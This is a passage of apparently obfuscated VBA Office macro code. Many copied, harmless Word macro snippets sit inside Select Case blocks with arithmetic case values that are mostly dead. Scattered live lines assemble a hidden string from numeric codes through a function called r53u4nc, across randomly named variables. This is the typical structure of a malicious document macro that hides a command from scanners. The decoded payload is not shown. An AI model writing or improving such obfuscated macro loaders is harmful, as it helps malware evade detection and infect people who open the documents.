.Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (958 + 773 + (-841 - (-168) + -788)): Dim O7y4M\n\nEnd Select\n\n\n\nSelect Case -256\nCase (916 + (827) - (541 + 337) + (-245)):\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nCase (650 + -267 + (-930 - (60) + 351)): Dim jbu23XbIJGf8Hpqc\n\nEnd Select\n\n\n\nSelect Case 277\nCase (518 + 562 + (-840 - (-519) + -482)): Dim qnIT3QLlu1VdZTyFqD\n\nCase (803 + (655) - (-78 + 636) + (688)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nEnd Select\n\n\n\nSelect Case -1989\nCase (-283 + -822 + (-121 - (359) + -404)): Dim snSRSY\n\nCase (-691 + (836) - (-957 + 945) + (-384)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case -1806\nCase (-554 + (-817) - (845 + 77) + (147)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nCase (840 + -740 + (-184 - (796) + -926)): Dim CD63WT6IOJYKgaJ\n\nEnd Select\n\n\n\nSelect Case 2282\nCase (644 + 974 + (476 - (-182) + 6)): Dim JF9711x\n\nCase (555 + (710) - (210 + 724) + (-882)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\n\nSelect Case -713\nCase (215 + -67 + (-624 - (-345) + -582)): Dim jqIPH4x2A\n\nCase (312 + (748) - (-729 + 993) + (32)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nEnd Select\n\n\n\nSelect Case 2586\nCase (988 + 389 + (811 - (-671) + -273)): Dim OKjHpJIFRvDFFu\n\nCase (654 + (780) - (-715 + -452) + (605)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nEnd Select\n\n\n\nSelect Case -61\nCase (-470 + 989 + (-553 - (262) + 235)): Dim eZGuZXIKQXFUGl6B1\n\nCase (971 + (685) - (-668 + -774) + (206)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nEnd Select\n\n\n\nSelect Case -1151\nCase (-711 + (-294) - (559 + 151) + (-909)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nCase (-729 + -800 + (911 - (-80) + -613)): Dim LL9AzwITzxtf\n\nEnd Select\n\n\n\nSelect Case 1646\nCase (495 + 403 + (-83 - (-105) + 726)): Dim uhTwep1ANVr3uB1L3W\n\nCase (-416 + (98) - (-983 + 703) + (479)):\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nEnd Select\n\n\n\nSelect Case -857\nCase (-384 + (-509) - (-758 + 284) + (-113)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\nCase (279 + -479 + (684 - (710) + -631)): CfE2yHHLbf5eE = r53u4nc(1997 - (5005) + (3012))\n\nEnd Select\n\n\n\nSelect Case -1091\nCase (-154 + 109 + (-522 - (869) + 345)): aTviQMLvaGrZSBToB = CfE2yHHLbf5eE & r53u4nc(8382 - (9411) + (1034))\n\nCase (430 + (822) - (685 + 100) + (894)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nEnd Select\n\n\n\nSelect Case 819\nCase (78 + 820 + (531 - (-281) + -891)): Mt2rR = aTviQMLvaGrZSBToB & r53u4nc(-7185 - (-3531) + (3660))\n\nCase (-352 + (343) - (-121 + -88) + (-324)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\n\nSelect Case -661\nCase (141 + (-61) - (848 + -302) + (997)):\n\n\n\n ' Display message, title, and default value\n Drive = InputBox(Message, Title, Default)\n If Drive > \"\" Then\n ffname = ActiveDocument.FullName\n FName = Drive & \":\\\" & ActiveDocument.Name\n ActiveDocument.SaveAs FName\n ActiveDocument.SaveAs ffname\n End If\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nCase (-612 + 669 + (-326 - (721) + 329)): FzJIOHZqfwXPesWr5 = Mt2rR & r53u4nc(-2984 - (-6329) + (-3338))\n\nEnd Select\n\n\n\nSelect Case -711\nCase (-841 + -234 + (-933 - (-955) + 342)): EuZcOMT = FzJIOHZqfwXPesWr5 & r53u4nc(-2658 - (-2845) + (-179))\n\nCase (-628 + (-675) - (-801 + 764) + (597)):\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nEnd Select\n\n\n\nSelect Case -356\nCase (5 + (-985) - (936 + -118) + (681)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (744 + -613 + (-481 - (-484) + -490)): V5nWQJBcN8Ew = EuZcOMT & r53u4nc(13609 - (8374) + (-5226))\n\nEnd Select\n\n\n\nSelect Case -9\nCase (-379 + 510 + (-319 - (706) + 885)): O7y4M = V5nWQJBcN8Ew & r53u4nc(4308 - (2226) + (-2072))\n\nCase (-894 + (485) - (-983 + 344) + (-524)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nEnd Select\n\n\n\nSelect Case 25\nCase (538 + (588) - (153 + -248) + (-871)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nCase (-215 + 461 + (-272 - (13) + 64)): jbu23XbIJGf8Hpqc = O7y4M & r53u4nc(-14042 - (-9836) + (4217))\n\nEnd Select\n\n\n\nSelect Case -1212\nCase (-881 + 628 + (-950 - (-690) + -699)): qnIT3QLlu1VdZTyFqD = jbu23XbIJGf8Hpqc & r53u4nc(-2522 - (-7984) + (-5450))\n\nCase (505 + (260) - (638 + -100) + (-497)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\n\nSelect Case -153\nCase (-534 + (-736) - (81 + 920) + (527)):\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nCase (651 + -695 + (324 - (-424) + -857)): snSRSY = qnIT3QLlu1VdZTyFqD & r53u4nc(3425 - (-1607) + (-5019))\n\nEnd Select\n\n\n\nSelect Case -346\nCase (-684 + 62 + (611 - (-445) + -780)): CD63WT6IOJYKgaJ = snSRSY & r53u4nc(8338 - (5334) + (-2990))\n\nCase (719 + (414) - (279 + -799) + (89)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.GoTo What:=wdGoToBookmark, Name:=\"BookmarkName\"\nSelection.Delete Unit:=wdCharacter, Count:=1\nSelection.InsertAfter \"This is the new text\"\n\n\n\nEnd Select\n\n\n\nSelect Case -1222\nCase (-625 + -450 + (-991 - (-954) + -110)): JF9711x = CD63WT6IOJYKgaJ & r53u4nc(-6453 - (-7008) + (-540))\n\nCase (584 + (-248) - (651 + 364) + (-33)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nEnd Select\n\n\n\nSelect Case -1717\nCase (198 + (-607) - (931 + -110) + (-954)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (-163 + -959 + (718 - (985) + -328)): jqIPH4x2A = JF9711x & r53u4nc(-6757 - (1214) + (7987))\n\nEnd Select\n\n\n\nSelect Case 1712\nCase (618 + (-759) - (-270 + -690) + (958)):\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (422 + -514 + (381 - (-607) + 816)): OKjHpJIFRvDFFu = jqIPH4x2A & r53u4nc(-6995 - (-9465) + (-2453))\n\nEnd Select\n\n\n\nSelect Case 1659\nCase (-882 + (795) - (176 + -843) + (-923)):\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nCase (-607 + 37 + (723 - (-672) + 834)): eZGuZXIKQXFUGl6B1 = OKjHpJIFRvDFFu & r53u4nc(11187 - (5035) + (-6134))\n\nEnd Select\n\n\n\nSelect Case -1318\nCase (-696 + (257) - (218 + 799) + (-12)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\nCase (-746 + -978 + (349 - (-935) + -878)): LL9AzwITzxtf = eZGuZXIKQXFUGl6B1 & r53u4nc(6144 - (-2858) + (-8983))\n\nEnd Select\n\n\n\nSelect Case 1313\nCase (-614 + (-469) - (305 + -310) + (-795)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (317 + 676 + (-340 - (315) + 975)): uhTwep1ANVr3uB1L3W = LL9AzwITzxtf & r53u4nc(4127 - (-3355) + (-7462))\n\nEnd Select\n\n\n\nSelect Case 163\nCase (-337 + (-424) - (-911 + 778) + (-494)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nCase (-340 + 525 + (-2 - (310) + 290)): BBoRyvu4db = uhTwep1ANVr3uB1L3W\n\nEnd Select\n\n\nEnd Function\n\nFunction PkBfumIO4() As String\n\nSelect Case 414\nCase (981 + (686) - (867 + 490) + (-955)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\nCase (476 + -95 + (526 - (532) + 39)): Dim Gtru5jecxQ\n\nEnd Select\n\n\n\nSelect Case -753\nCase (467 + 67 + (-948 - (-518) + -857)): Dim ZaPeKjX\n\nCase (288 + (-42) - (-346 + 100) + (-428)):\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = 